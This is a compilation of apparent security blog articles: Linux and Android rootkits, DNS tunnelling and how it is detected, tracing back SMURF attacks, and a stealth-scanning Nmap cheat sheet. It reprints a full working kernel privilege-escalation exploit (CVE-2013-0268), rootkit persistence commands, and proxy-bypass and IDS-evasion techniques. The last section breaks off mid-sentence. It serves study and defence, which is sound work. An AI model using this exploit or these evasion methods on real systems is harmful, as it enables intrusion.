all web servers run a Linux distro with Apache operated HTTP/HTTPS services. Android, on both smartphones and tablets, now has greater mobile marketshare than Apple’s iOS. Although Android is mainly proprietary Java code, there’s an open source Linux kernel underneath. So, possibly billions of people are using Linux everyday, and they don’t even know it. Of course, Linux is simply a kernel. What kind of malware targets kernels? Rootkits! Unlike many other types of malware, rootkits don’t self-propagate. Something must deliver the rootkit. It could be a virus, which attaches itself to program files or other code. It could be a worm that spreads through a network like wildfire. It could be a flash media USB stick that your buddy lent you with their family vacation photos on it. It could even be a popular webpage which uses server-side scripting technology like JavaScript. And most malware-infected webpages weren’t designed maliciously. There may be vulnerabilities in the code, and a web malware distributing bot took advantage. The blackhats who script rootkits don’t always fit the “hacker” stereotype. At least one multibillion dollar corporation, Sony, was caught redhanded back in 2005. Sony/BMG is Britney Spears’ record label, and they also are the label for a large percentage of the most popular rock stars and bands. Sony/BMG, like the other major players in the music industry, have been stressed out over lost profit from music piracy since Napster became a phenomenon in 1999. So, many CDs of Billboard’s bestselling albums that Sony sold from roughly 2005 to 2007 had rootkits hidden on them. One of the first rootkits Sony/BMG developed, XCP, was discovered by IT security researcher Mark Russinovich on October 31st, 2005. No mention of its existence was ever in any pertinent end user license agreement. Although the rootkit was designed to prevent consumers from ripping music files from Sony/BMG CDs to pirate through the Internet, the rootkit also created countless vulnerabilities that more common types of malware could exploit, with devastating consequences. The incident was definitely a bad PR move for Sony. XCP and Sony’s other rootkits from that time period targeted Windows client OSes only. But that’s probably because Sony knew that at the time, the overwhelming majority of PC users ran Windows. Also, it’s bloody easy to write malware in Visual Studio. Many of the scripts that script kiddies use, even now, are written in that proprietary Microsoft IDE. But blackhats, whether they’re prototypical criminals or employees of large corporations, are usually now aware that most Web servers and mobile devices run a Linux kernel. Linux rootkits have already been identified. In November 2012, a scary Linux rootkit was a hot topic in the tech media world. It targeted Linux server distros that were based on Debian. The specific Linux kernel version it exploited was 2.6.32-5-amd64. By penetrating the kernel, it would then propagate via webpage embedded JavaScript code that works with the HTML <iframe> tag. Researchers at Kaspersky Lab and CrowdStrike did a thorough analysis. Marta Janus of Kaspersky Lab wrote, “The malware ensures its startup by adding an entry to the /etc/rc.local script: insmod /lib/modules/2.6.32-5-amd64/kernel/sound/module_init.ko. After loading into memory, the rootkit uses one of two methods to retrieve kernel symbols and write them to the /.kallsyms_tmp file: /bin/bash -c cat /proc/kallsyms > /.kallsyms_tmp /bin/bash -c cat /boot/System.map-`uname -r` > /.kallsyms_tmp Then it extracts the memory addresses of several kernel functions and variables and stores them in the memory for the later use.” By infecting 2.6.32-5-amd64 based web servers, the rootkit would generate <iframe> HTML code into webpages via PHP. The new <iframe> tags would redirect web surfers to malicious webpages that could behave as spyware, or infect surfers’ machines with even more destructive malware. On December 29th, 2011, StackExchange user Olier Saari posted that his Linux-based server was generating spam. He found Perl code that he suspected was part of the rootkit. The following are the results of his testing and modifications, pasted from Bash. server:~# perl spam_scipt wget version is 11 Set browser wget Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html Runned postfix found, use /usr/sbin/sendmail Probe host redacted.info Go https://ibkxluxisp.redacted.info:1905//b/index.php?id=5cb885d577c7bbacdae44dd9f7f86b641ad60d58b1b9df07b97953a70376ec47&check=1 Generate host ibkxluxisp.redacted.info:1905 https://ibkxluxisp.redacted.info:1905//b/index.php?id=5fb58ad575c14b08785ae5255ffbf83c9f561d18e961b2eb96dc5a058a41&version=18&sent=0&user=584e6388c671f38756eac21cec server:~# perl spam_scipt wget version is 11 Set browser wget Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html Runned postfix found, use /usr/sbin/sendmail Probe host redacted.info Go https://wodhvqubux.redacted.info:1905//b/index.php?id=5cb186d575c44b1e5174c7c111636063b338bc3ef4d46e4533036eded038a7&check=1 Generate host wodhvqubux.redacted.info:1905 https://wodhvqubux.redacted.info:1905//b/index.php?id=5a497fe86dde12da162b6460bb8cd215966679ad7bf97338b9b6c2e741fe&version=18&sent=0&user=544c648ace7ff7834db9fadf36bdserver:~#; For every single Linux rootkit that someone discovers and posts about online, there have got to be many more that only the blackhats who developed them know about. Here’s another example. Before the 3.7.6 version of the Linux kernel was released, there was a vulnerability in the msr_open function located in arch/x86/kernel/msr.c. It allowed rootkits to bypass root in a restricted user account to inject and launch malicious code. Spender, the handle of a user at grsecurity.net, wrote a script designed to exploit that vulnerability. Here it is, in its entirety. // PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host // can do whatever in the commented area, re-enable module support, etc // requires CONFIG_X86_MSR and just uid 0 // a small race exists between the time when the MSR is written to the first // time and when we issue our sysenter // we additionally require CAP_SYS_NICE to make the race win nearly guaranteed // configured to take a hex arg of a dword pointer to set to 0 // (modules_disabled, selinux_enforcing, take your pick) // // Hello to Red Hat, who has shown yet again to not care until a // public exploit is released. Not even a bugzilla entry existed in // their system until this was published -- and they have a paid team // of how many? (who aren't satisfied until I do all of their work for // free, apparently: // https://twitter.com/kurtseifried/status/299327878233985024 ) // It's not as if I didn't mention the problem and existence of an easy // exploit multiple times prior: // https://twitter.com/grsecurity/status/298977370776432640 // https://twitter.com/grsecurity/status/297365303095078912 // https://twitter.com/grsecurity/status/297189488638181376 // https://twitter.com/grsecurity/status/297030133628416000 // https://twitter.com/grsecurity/status/297029470072745984 // https://twitter.com/grsecurity/status/297028324134359041 // // spender 2013 #define _GNU_SOURCE #include #include #include #include <sys/types.h> #include <sys/stat.h> #include #include #include <sys/time.h> #include <sys/resource.h> #include <sys/mman.h> #define SYSENTER_EIP_MSR 0x176 u_int64_t msr; unsigned long ourstack[65536]; u_int64_t payload_data[16]; extern void *_ring0; extern void *_ring0_end; void ring0(void) { __asm volatile(".globl _ring0n" "_ring0:n" ".intel_syntax noprefixn" ".code64n" // set up stack pointer with 'ourstack' "mov esp, ecxn" // save registers, contains the original MSR value "push raxn" "push rbxn" "push rcxn" "push rdxn" // play with the kernel here with interrupts disabled! "mov rcx, qword ptr [rbx+8]n" "test rcx, rcxn" "jz skip_writen" "mov dword ptr [rcx], 0n" "skip_write:n" // restore MSR value before returning "mov ecx, 0x176n" // SYSENTER_EIP_MSR "mov eax, dword ptr [rbx]n" "mov edx, dword ptr [rbx+4]n" "wrmsrn" "pop rdxn" "pop rcxn" "pop rbxn" "pop raxn" "stin" "sysexitn" ".code32n" ".att_syntax prefixn" ".global _ring0_endn" "_ring0_end:n" ); } unsigned long saved_stack; int main(int argc, char *argv[]) { cpu_set_t set; int msr_fd; int ret; u_int64_t new_msr; struct sched_param sched; u_int64_t resolved_addr = 0ULL; if (argc == 2) resolved_addr = strtoull(argv[1], NULL, 16); /* can do this without privilege */ mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0); mlock(&payload_data, sizeof(payload_data)); CPU_ZERO(&set); CPU_SET(0, &set); sched.sched_priority = 99; ret = sched_setscheduler(0, SCHED_FIFO, &sched); if (ret) { fprintf(stderr, "Unable to set priority.n"); exit(1); } ret = sched_setaffinity(0, sizeof(cpu_set_t), &set); if (ret) { fprintf(stderr, "Unable to set affinity.n"); exit(1); } msr_fd = open("/dev/cpu/0/msr", O_RDWR); if (msr_fd < 0) { msr_fd = open("/dev/msr0", O_RDWR); if (msr_fd < 0) { fprintf(stderr, "Unable to open /dev/cpu/0/msrn"); exit(1); } } lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); ret = read(msr_fd, &msr, sizeof(msr)); if (ret != sizeof(msr)) { fprintf(stderr, "Unable to read /dev/cpu/0/msrn"); exit(1); } // stuff some addresses in a buffer whose address we // pass to the "kernel" via register payload_data[0] = msr; payload_data[1] = resolved_addr; printf("Old SYSENTER_EIP_MSR = %016llxn", msr); fflush(stdout); lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); new_msr = (u_int64_t)(unsigned long)&_ring0; printf("New SYSENTER_EIP_MSR = %016llxn", new_msr); fflush(stdout); ret = write(msr_fd, &new_msr, sizeof(new_msr)); if (ret != sizeof(new_msr)) { fprintf(stderr, "Unable to modify /dev/cpu/0/msrn"); exit(1); } __asm volatile( ".intel_syntax noprefixn" ".code32n" "mov saved_stack, espn" "lea ecx, ourstackn" "lea edx, label2n" "lea ebx, payload_datan" "sysentern" "label2:n" "mov esp, saved_stackn" ".att_syntax prefixn" ); printf("Success.n"); return 0; } People like Spender write these scripts so that OS developers can learn how to security harden their kernels against rootkits. I’ve barely scratched the surface. The possibilities of Linux rootkits are endless. Although typical end users interact with Linux servers via client machines running Windows, or the BSD/UNIX based Mac OS X and iOS, the one Linux based OS that end users frequently interact with directly is Android. Yes, Android rootkits are Linux rootkits. In 2011, a Reddit user who goes by the handle Lompolo discovered that there were a number of apps that were available in the Android Market (now known as the Google Play Store) that were trojans with Android rootkit code. The developers of the trojan apps went under “Myournet,” “Kingmall2010,” and “we20090202.” Some of the names of those various apps were “Super Guitar Solo,” “Hot Sexy Videos,” “Chess,” “Scientific Calculator,” and “Advanced App to SD.” Benn of Intrepdius Group Mobile Security found some Android rootkit code which is likely very similiar to the code found in those trojans. That sort of scripting can have disasterous effects on an Android device. Spambotting, SMS malware propagation, Android rogue AVs, spyware… the possibilities are endless. Anyone can upload apps to the Google Play Store, but Google puts a lot of effort into removing malicious apps from the store as soon as they become aware of them. Then, they ban the developer’s Google Play Store account. That’s wonderful, but useless for zero-day attacks. So, what can you do to prevent yourself from becoming a victim of a Linux rootkit? There’s no way to eliminate the risk 100%, but there are excellent things you can do to protect yourself and your devices. ClamAV develops an excellent open source antivirus shield that can run in most x86 Linux distros, both client and server. Their development team constantly looks for Linux specific threats and vulnerabilities, and they distribute new malware signatures almost daily. I strongly endorse running ClamAV on all types of x86 Linux machines. Also, make sure that the Linux distros of your choice are configured to install security patches as frequently as possible. Even more importantly, make sure your OSes use the latest stable Linux kernels. Linux kernel developers constantly work on finding vulnerabilities and patching them. If you’re like me, and you have an Android device, go to the Google Play Store and install Lookout Mobile Security. Its AV shield is free of charge, and it also patches frequently. There’s also now a version of Malwarebytes Anti-Malware for Android. It won’t conflict with your Lookout AV shield, and you can use it periodically to scan for malware. Just be wary of false positives! Many people would rather not admit it, but pirated and cracked commercial Android apps are very popular. The cracks that many of those pirated apps have are designed to overcome Android’s DRM, but may not have any malicious effect on your Android device. If you’re going to take a risk and install cracked apps, proceed with caution. Of course, I don’t advocate software piracy. If you really like a cracked app that you installed on your Android device, please buy a legitimate install as soon as you can afford it. Most Android developers are individuals or small businesses, and they can’t keep developing the utilities and games that you love if they can’t make any money. As I mentioned, computers that run Windows, OS X, iOS and other non-Linux operating systems can still get infected via rootkits on Linux servers. No operating system is immune to malware. Clam, Lookout and Kaspersky all develop excellent AV shields for Windows, OS X, iOS, BlackBerry, and UNIX OSes such as OpenBSD. Like in desktop Linux distros, make sure that all of your operating systems get security patches as soon as they become available. Finally, whatever the applications are, for any operating system, it’s prudent to do your research before you consider installing them. The web is your friend! Do a web search for the application’s name. Ignore whatever advertising or PR that you find. Read what other “computer geeks” have been writing about them in various forums. It’s also good to read third-party reviews for utilities and games in respected online and print magazines. The realm of Linux rootkits is constantly evolving, so it’s best to keep up with the news and be aware. It’s a risk that affects all of us. References New Linux Rootkit Discovered Injecting iFrames: New Linux Rootkit Discovered Injecting iFrames New Linux rootkit injects malicious HTML into Web servers: New Linux rootkit injects malicious HTML into Web servers | Ars Technica Linux Kernel Rootkits: List of Kernel Rootkits Perl script rootkit (exploit): Perl script rootkit (exploit) - Information Security Stack Exchange Modern Linux Rootkits 301: Chaotic Security: Writing Linux Rootkits 301 Spender’s msr32.c script: http://grsecurity.net/~spender/msr32.c 10+ Things You Should Know About Rootkits: 10+ things you should know about rootkits - TechRepublic Sony Music CDs Under Fire From Privacy Advocates: Sony Music CDs Under Fire from Privacy Advocates : NPR Sony BMG rootkit scandal: 5 years later: Sony BMG rootkit scandal: 5 years later | Network World Android rootkit is just a phone call away: Android rootkit is just a phone call away | Network World CVE-2013-0268: CVE-2013-0268 : The msr_open function in arch/x86/kernel/msr.c in the Linux kernel before 3.7.6 allows local users to bypass intended ca More than 50 Android apps found infected with rootkit malware: More than 50 Android apps found infected with rootkit malware | Technology | The Guardian Android Root Source Code: Looking at the C-Skills: https://intrepidusgroup.com/insight/2010/09/android-root-source-code-looking-at-the-c-skills/ Source
-
You all know what DNS is, and I don’t think any more information is needed on it. Our Internet world exists due to DNS technology, and exploiting DNS can bring down the Internet for a day or month, or in a particular region. One of the common attacks that we heard about in 2012 was Operation Global Blackout, wherein the attacker ‘Anonymous’ threatened to take down the complete global Internet. Computer security experts were worried and have taken additional layers of protection to secure the network, particularly DNS. Have you ever come up to a scenario where you were not able to access a website because it was blocked by proxy? Then you need to use DNS tunnelling concepts to bypass the proxy. By using DNS tunnelling, a user will be able to access a website even though the proxy is blocking the website. Normally when you consider a proxy server, all the HTTP traffic will be received by a proxy server, but no DNS traffic will fall on a proxy server. So exploiting this DNS traffic will allow us to use all blocked websites as well. So on a DNS tunnel, data are encapsulated within DNS queries and replies, using base32 and base64 encoding, and the DNS domain name lookup system is used to send data bi-directionally. Therefore, as long as you can do domain name lookups on a network, you can tunnel any kind of data you want to a remote system, including the Internet. We use DNS records (NULL/TXT/SRV/MX/CNAME) to encapsulate (downstream) IP traffic. In the above scenario, Users A and B are behind a corporate firewall D, and no websites are allowed from Users A and B, and only traffic via port 53 is allowed from firewall D. User A and User B can use the Internet by exploiting DNS traffic via DNS tunnelling. The DNS server on the left side has a caching capability, so when user A tries to access any websites that are already in the cache, then the request won’t go to the iterative server. If some new request is initiated from User A, then the DNS server will not find its A record in the DNS server, so it will send to an outside DNS server. The maximum length of a DNS query is 255 characters with a limitation of 63 chars per label and is in the form: label3.label2.label1.example. To tunnel data over DNS, we need control of an external DNS server (in our case, the DNS server to the right), and we add two records on the external DNS server. One is NS record and the other is A record. NS (name server) record allows you to delegate a subdomain of your domain to another name server. So if you have a domain laptop.com you can add a NS record like a.laptop.com NS computer.com which means any DNS query to laptop.com will be delegated to computer.com and its subdomains. The other one is the A record, which contains the IP address mapping to domain name. Now if we need to setup a DNS tunnel server, we can install an Iodine, DNS tunnelling script, DNScapy, etc. So in the end machine, there has to be a DNS tunnelling client. Once the connection is done, we can use the SOCKS proxy for an uninterrupted connection. DNS tunnelling is inefficient and the speed is slow. DNS traffic has limited bandwidth to pass data, as it has only the capability to pass small information like DNS request and reply. However, botnets can use DNS tunnelling to act as a covert channel, and these covert channels are very hard to detect. These can be identified only by looking for any C&C information on the DNS in the covert channel. In all network systems nowadays DNS is served as it is, but protocols like HTTP, FTP are one of many methods to analyse and inspect the traffic. So the botnets using DNS tunnelling have a better scope for malware writers. The following are some DNS tunnelling tools: DNS TUNNELLING TOOLS OzymanDNS Dns2tcp Iodine Heyoka DNSCat NSTX DNScapy MagicTunnel, Element53, VPN-over-DNS (Android) VPN over DNS In DNS tunnelling, requests from the clients will be fragmented and will be sent as separate DNS queries. Likewise, reply traffic will also need to be fragmented. DNS uses UDP rather than TCP, so fragmentation and correct assembly need to be done in a fake server. DNS tunnels are commonly used to carry out covert file transfers, C&C server traffic and web browsing. File transfer via DNS is likely to use the DNS traffic aggressively considering the DNS protocol and the encapsulation overhead for transferring data over the tunnel. The C&C server traffic will carry minimal traffic as there will be only usual traffic patterns observed. Web browsing using a DNS tunnel is a mixture of both the above. Security engineers should write signatures promptly to detect such traffic. Some techniques for DNS tunnel detection are flow based detection and character based frequency analysis. Detection DNS tunnelling can be detected by monitoring the size of DNS request and reply queries. It’s likely that tunnelled traffic will have more than 64 characters in DNS. Use of updated IPS and IDS is another detection mechanism. Rules must be configured to monitor a large number of DNS TXT in a DNS server. Rules must be configured in SIEM to trigger if volume of DNS traffic from a particular source is very high. Another method is to use the split horizon DNS concept so that internal addresses are dealt on a specific server; clients should use a proxy server to connect out to the internet, and the proxy server resolves the external DNS for them. Some proxies also have the capability to check the DNS information too. DNSTrap is a tool developed to detect DNS tunnelling by using artificial neural network. In this tool, five attributes are used to train an Artificial Neural Network (ANN) to detect tunnels: the domain name, how many packets are sent to a particular domain, the average length of packets to that domain, the average number of distinct characters in the LLD, and the distance between LLD’s. Next generation firewalls like Paloalto and Fire Eye have the capability to detect DNS tunnelling. References http://psichron.za.net/downloads/dns_tunneling.txt DNS Tunneling made easy [splitbrain.org] http://arxiv.org/ftp/arxiv/papers/1004/1004.4358.pdf Source
-
There are plenty of different ways to track the original source of a DoS attack, but those techniques are not efficient enough to track a reflected ICMP attack. When I say “reflected ICMP attack,” that means a SMURF attack. Here I am going to show you a new model to trackback the reflective DOS attack caused by ICMP packets. This is a very efficient method, because you can do this with the help of a really few attack packets. We have seen that, to detect ICMP attacks in direct attack, we need a large amount of packets to be revised, which is not true in this case. Introduction In this digital era, it is really difficult to protect your network from DOS attack. Big brands have faced this type of attacks even if they secured their network. It is the responsibility of the host that they send and receive packets from their network to the client and vice versa. It destination’s responsibility to receive and verify the packet’s validity sent by the source. Attack Classification There are two types of attacks. Direct attacks Indirect/reflective attacks A direct attack is explained by its name: Packets are sent directly to the victim. However, in a reflective attack, the packets are sent to the intermediate network and then they goes to the victim. This intermediate network can be a custom proxy or a custom network. a SMURF attack is an example of reflective attack. The attacker sends ICMP echo packets to the network; that is called an amplifier. This is done by using the source address, which is the IP address of a victim. Finally, the machine will send the reply to a victim machine. This thing is illustrated in the figure below. How many replies it will get depends on the number of machines connected to that amplifier network. This attack is easy to implement and hard to detect because a single identity can attack a large enterprise, even using only very few machines or resources. Now I am going to show you a new theoretical method to track back the reflective ICMP flood attack. For back-tracking ICMP reflective packets, we have to understand the following terms; 1. Packet Marking This is a very basic approach, in which the router itself adds some information to the packet. By doing this, the router can locate the source of the flow of a packet. This router adds the IP address to the packet header of any packet. The victim constructs the attack path after receiving the marking. That marking is the address of the router that lies between the attacker and the victim. In this case, the victim will need a ton of packets in order to reconstruct a path. To accomplish this process, both the single router and participating routers will need multiple packets to transmit on its own IP address. Figure 1. Marking in IP header 2. ICMP Traceback In this, the reconstructed path is generated by sending the out-of-band traceback details to the destination by a router. There is an old method named iTrace, in which the router sends ICMP echo packets to the destination with an attack path. Due to this, those packets contain details about the marking router. The victim traces back the information after collecting those ICMP packets. Then the victim reconstructs the attack path. In this approach, routers send out-of-band traceback information to the destination of the flow to reconstruct the attack path. Bellovin proposed iTrace [15]. Routers send ICMP packets, along with the attack path, to another destination. The ICMP packets contain information about the marking router. The victim collects the ICMP packets during the attack and extracts traceback information. The victim will be able to reconstruct the attack path. With this new method, fewer signaling packets are used to send to the destination. Whatever studies have been done up to now don’t deal with the reflective attacks. These methods are only dealing with direct attacks. Problems Faced During the Traceback In packet logging, the hash value will be different after reflection, so in that case the traceback approach is not useful. In packet marking, the identification field will be different after any reflection. On top of that, a marking will be received by the victim only after a successful reflection so, in that case, traceback is also not helpful. In the traditional ICMP traceback method, packets that will be received by the victim contain only path information between the amplifier network and the victim, so no legitimate and proper real information about the attacker will be there. Trackback ICMP Attacks ICMP echo packets are only echo request-and-reply packets. This is a novel approach for tracing back the ICMP packets, whether they are direct or indirect packets. It’s a new marking method. In this method, the data field carries all of the tracing back information. Researchers noticed that the ICMP protocol’s behavior remains the same after request and response. In this method, the machine responds with the exact data field contained in the request after receiving the request which also contains the same data field. So, if there is any change in the data field, it will be known by both the receiver and sender. Therefore, packets are sent with this new marking technique, which is explained below. If a machine receives an ICMP echo request, it will respond with the same data field contained in the echo request. So any modification in the data field, whether in the request or the reply, will be received by the destination. In an ICMP direct attack, the attacker will flood the victim either with ICMP requests or with reply messages with our marking for every ICMP echo packet: In this methodology, it does not matter whether the packet is direct or reflective. Using this technique, the marking router will insert the address in the data field in the ICMP message in request as well as in the response. Due to the remaining unchanged data field, the victim will get all traceback information that is related to path between the middle amplifier network as well as attacker. Problem with this approach. A single packet gets passed by 15 or more different routers. This requires a large amount of space to store the marking of all the routers’ information. We have limited space for traceback information storage. Solution. Researchers used probabilistic technique to note down a complete path starting from the attacker and ending to the destination in a proper flow. The victim gets various IP addresses during any attack. Now he will have to reconstruct the attack path. In order to do that, the router copies various TTL fields, with their respective IP addresses, into the data field. To differentiate between echo requests and echo replies, the router uses different bits of TTL. After that, the victim uses these all bits in order to construct the attack path. This scenario is explained in the figure below. Figure 23. New Marking Process of Data Field Practical Implementation Up to now, I have talked about the theoretical technique. In real life, practical implementation should be done as shown in the figure below. Researchers proposed this method of implementing this in a virtual environment by using five routers, three reflectors, and a victim and attacker machine, as shown in the figure. One packet travels from the attacker to the victim, but a necessary condition is that the packet must travel through all the routers that are implemented in the virtual lab. Figure 3 : Scenario of Implementation of this new marking technique Here all machines are using Linux systems and the routers are also allowing packet forwarding mechanism in order to get the marking of each and every ICMP echo request and reply packets. Then a SMURF attack is launched, in which the attacker sends packets to a victim; the packets are passed through all routers. Each router’s responsibility is to mark all packets with their respective TTL and IP addresses. After that, the receiver receives all the packets, analyzes them, and reconstructs the origin of the attack path. Thus, we can trace back the reflective ICMP attacks by using very few packets. Conclusion Using this technique, one can trace back ICMP DoS attacks, including direct and reflective attacks as well. Reflective attacks are known as SMURF attacks. Source
-
This is our second installment of Nmap cheat sheet. Basically, we will discuss some advanced techniques for Nmap scanning and we will conduct a Man In The Middle Attack (MITM). Let’s start our game now. TCP SYN Scan SYN scan is the default and most popular scan option, for good reasons. It can be performed quickly, scanning thousands of ports per second on a fast network not hampered by restrictive firewalls. It is also relatively unobtrusive and stealthy, since it never completes TCP connections. Command: nmap –sS target TCP Connect Scan TCP connect scan is the default TCP scan type when SYN scan is not an option. This is the case when a user does not have raw packet privileges. Instead of writing raw packets as most other scan types do, Nmap asks the underlying operating system to establish a connection with the target machine and port by issuing the connect system call. Command: nmap –sT target UDP SCANS While most popular services on the Internet run over the TCP protocol, UDP services are widely deployed. DNS, SNMP, and DHCP (registered ports 53, 161/162, and 67/68) are three of the most common. Because UDP scanning is generally slower and more difficult than TCP, some security auditors ignore these ports. This is a mistake, as exploitable UDP services are quite common and attackers certainly don’t ignore the whole protocol. Command: nmap –sU target The –data-length option can be used to send a fixed-length random payload to every port or (if you specify a value of 0) to disable payloads. If an ICMP port unreachable error (type 3, code 3) is returned, the port is closed. Other ICMP unreachable errors (type 3, codes 1, 2, 9, 10, or 13) mark the port as filtered. Occasionally, a service will respond with a UDP packet, proving that it is open. If no response is received after retransmissions, the port is classified as open|filtered. Command: nmap –sU –data-length=value target SCTP INIT Scan SCTP is a relatively new alternative to the TCP and UDP protocols, combining most characteristics of TCP and UDP, and also adding new features like multi-homing and multi-streaming. It is mostly being used for SS7/SIGTRAN related services but has the potential to be used for other applications as well. SCTP INIT scan is the SCTP equivalent of a TCP SYN scan. It can be performed quickly, scanning thousands of ports per second on a fast network not hampered by restrictive firewalls. Like SYN scan, INIT scan is relatively unobtrusive and stealthy, since it never completes SCTP associations. Command: nmap –sY target TCP NULL, FIN, and Xmas scans NULL scan (-sN) Does not set any bits (TCP flag header is 0). FIN scan (-sF) Sets just the TCP FIN bit. Xmas scan (-sX) Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree. TCP ACK Scan This scan is different than the others discussed so far in that it never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not, and which ports are filtered. Command: nmap –scanflags=value –sAtarget The ACK scan probe packet has only the ACK flag set (unless you use –scanflags). When scanning unfiltered systems, open and closed ports will both return a RST packet. Nmap then labels them as unfiltered, meaning that they are reachable by the ACK packet. TCP Window Scan Window scan is exactly the same as ACK scan, except that it exploits an implementation detail of certain systems to differentiate open ports from closed ones, rather than always printing unfiltered when an RST is returned. Command: nmap –sW target See the valuable and juicy information which is useful for a hacker to attack further: TCP Maimon Scan The Maimon scan is named after its discoverer, Uriel Maimon. He described the technique in Phrack Magazine issue #49 (November 1996). Nmap, which included this technique, was released two issues later. This technique is exactly the same as NULL, FIN, and Xmas scans, except that the probe is FIN/ACK. Command: nmap –sM target Custom TCP Scan Using –scanflag Options For advance pentesting, a pentester will not use a general TCP scan like ACK, FIN, etc. because these things may be blocked by IDS/IPS. So they will use some different techniques by specifying “-scanflag” options. This also can be used for firewall evading. The –scanflags argument can be a numerical flag value such as 9 (PSH and FIN), but using symbolic names is easier. Just mash together any combination of URG, ACK, PSH, RST, SYN, and FIN. For example, –scanflags URGACKPSHRSTSYNFIN sets everything, though it’s not very useful for scanning. Command: nmap –-scanflags target SCTP COOKIE ECHO Scan SCTP COOKIE ECHO scan is a more advanced SCTP scan. It takes advantage of the fact that SCTP implementations should silently drop packets containing COOKIE ECHO chunks on open ports, but send an ABORT if the port is closed. The advantage of this scan type is that it is not as obvious a port scan as an INIT scan. Also, there may be non-stateful firewall rulesets blocking INIT chunks, but not COOKIE ECHO chunks. A good IDS will be able to detect SCTP COOKIE ECHO scans too. The downside is that SCTP COOKIE ECHO scans cannot differentiate between open and filtered ports, leaving you with the state open|filtered in both cases. Command: nmap –-sZ target TCP Idle Scan This advanced scan method allows for a truly blind TCP port scan of the target (meaning no packets are sent to the target from your real IP address). Instead, a unique side-channel attack exploits predictable IP fragmentation ID sequence generation on the zombie host to glean information about the open ports on the target. IDS systems will display the scan as coming from the zombie machine you specify. This is very useful for conducting MITM (Man In The Middle Attack). Command: nmap –sI zombie target Victim thought that Zombie was the Attacker machine, which it was actually not. So here the Attacker tried to fool the Victim. Here Zombie means the middle man that you have trusted. Zombie can be any machine which acts like a middle machine between Attacker and Victim.However, we are in advanced pentesting, so let’s try to move ahead with details regarding Idle Scan. History And Details In 1998, security researcher Antirez (who also wrote the hping2 tool used in parts of this book) posted to the Bugtraq mailing list an ingenious new port scanning technique. He called it “dumb scan”. Attackers can actually scan a target without sending a single packet to the target from their own IP address! Instead, a clever side-channel attack allows for the scan to be bounced off a dumb “zombie host”. Intrusion detection system (IDS) reports will finger the innocent zombie as the attacker. Besides being extraordinarily stealthy, this scan type permits discovery of IP-based trust relationships between machines. What Is the Actual Game? Actually, for an attacker to conduct this attack, he does not need to be an expert in TCP/IP, but it is more advanced than other techniques as discussed so far. The below steps are put together to conduct this attack. One way to determine whether a TCP port is open is to send a SYN (session establishment) packet to the port. The target machine will respond with a SYN/ACK (session request acknowledgment) packet if the port is open, and RST (reset) if the port is closed. This is the basis of the previously discussed SYN scan. A machine that receives an unsolicited SYN/ACK packet will respond with a RST. An unsolicited RST will be ignored. Every IP packet on the Internet has a fragment identification number (IP ID). Since many operating systems simply increment this number for each packet they send, probing for the IPID can tell an attacker how many packets have been sent since the last probe. By combining these traits, it is possible to scan a target network while forging your identity so that it looks like an innocent zombie machine did the scanning. Idle Scan Explained To conduct this attack, the following steps may be followed for successful exploitation. Probe the zombie’s IP ID and record it. Forge a SYN packet from the zombie and send it to the desired port on the target. Depending on the port state, the target’s reaction may or may not cause the zombie’s IP ID to be incremented. Probe the zombie’s IP ID again. The target port state is then determined by comparing this new IP ID with the one recorded in step 1. How to Determine from IP ID From the IP ID value, an attacker will try to learn about port status, whether it is open or filtered or closed. Read below for details: After the above idle scan process, the zombie’s IP ID should have increased by either one or two. An increase of one indicates that the zombie hasn’t sent out any packets, except for its reply to the attacker’s probe. This lack of sent packets means that the port is not open (the target must have sent the zombie either a RST packet, which was ignored, or nothing at all). An increase of two indicates that the zombie sent out a packet between the two probes. This extra packet usually means that the port is open (the target presumably sent the zombie a SYN/ACK packet in response to the forged SYN, which induced a RST packet from the zombie). Increases larger than two usually signify a bad zombie host. It might not have predictable IP ID numbers, or might be engaged in communication unrelated to the idle scan. See the below images that relate Attacker, Zombie, and Victim, and how the attack is conducted. Idle Scan of an Open Port Step 1: Probe The Zombie’s IP address SYN/ACK RST IPID=31337 The Attacker sends SYN/ACK packets to Zombie. But Zombie is not expecting to get these packets. So in response, he discloses IP ID value by responding with an RST packet to the attacker. Step 2: Forge SYN packet from zombie SYN request from Zombie which is spoofed SYN/ACK to Zombie RST packet.IP ID:31338 The Victim sends a SYN/ACK packet in response to the SYN packet that appears to come from Zombie. The Zombie sends back RST by incrementing IP ID value. Step3: Probe Zombie’s IP ID again SYN/ACK Zombie RST,IP ID:31339 The Zombie’s IP ID increased by two, which is learned from step one. So here we know that the port is open from the IPID value. Note: If the port is closed, then the IPID value will be increased by one. If the Zombie’s IP ID increased by one as in the first step, we can say that it may be closed or filtered. In the case of filtered, the Victim has no response to Zombie for the SYN request of Attacker. In this situation, an Attacker will learn that there may be IDS/IPS which have rules to block some certain scan attempts by Zombie machines. For that, he will again use decoy options for Nmap to evade that. We will discuss that later. Step 1: Finding Zombie Host for Idle Scan The first step in executing an IP ID idle scan is to find an appropriate zombie. It needs to assign IP ID packets incrementally on a global (rather than per-host it communicates with) basis. It should be idle (hence the scan name), as extraneous traffic will bump up its IP ID sequence, confusing the scan logic. A common approach is to simply execute a Nmap ping scan of some network. We can use Nmap’s random IP selection mode (-iR), but that is likely to result in far away zombies with substantial latency. Performing a port scan and OS identification (-O) on the zombie candidate network, rather than just a ping scan, helps in selecting a good zombie. As long as verbose mode (-v) is enabled, OS detection will usually determine the IP ID sequence generation method and print a line such as “IP ID Sequence Generation: Incremental”. If the type is given as Incremental or Broken little-endian incremental, the machine is a good zombie candidate. Another approach to identifying zombie candidates is to run the ipidseq NSE script against a host. This script probes a host to classify its IP ID generation method, then prints the IP ID classification, much like the OS detection does. Command: (nmap –script ipidseq [--script-args probeport=port] target) Now we can tell that it is incremental and a good candidate for Zombie. Using Hping We can also use hping for discovering a zombie. The hping method for idle scanning provides a lower level example for how idle scanning is performed. In this example, the target host (target1) will be scanned using an idle host (target2). An open and a closed port will be tested to see how each scenario plays out. First, establish that the idle host is actually idle, send packets using hping2 and observe the ID numbers increase incrementally by one. If the ID numbers increase haphazardly, the host is not actually idle, or has an OS that has no predictable IP ID. hping3 -S target Send a spoofed SYN 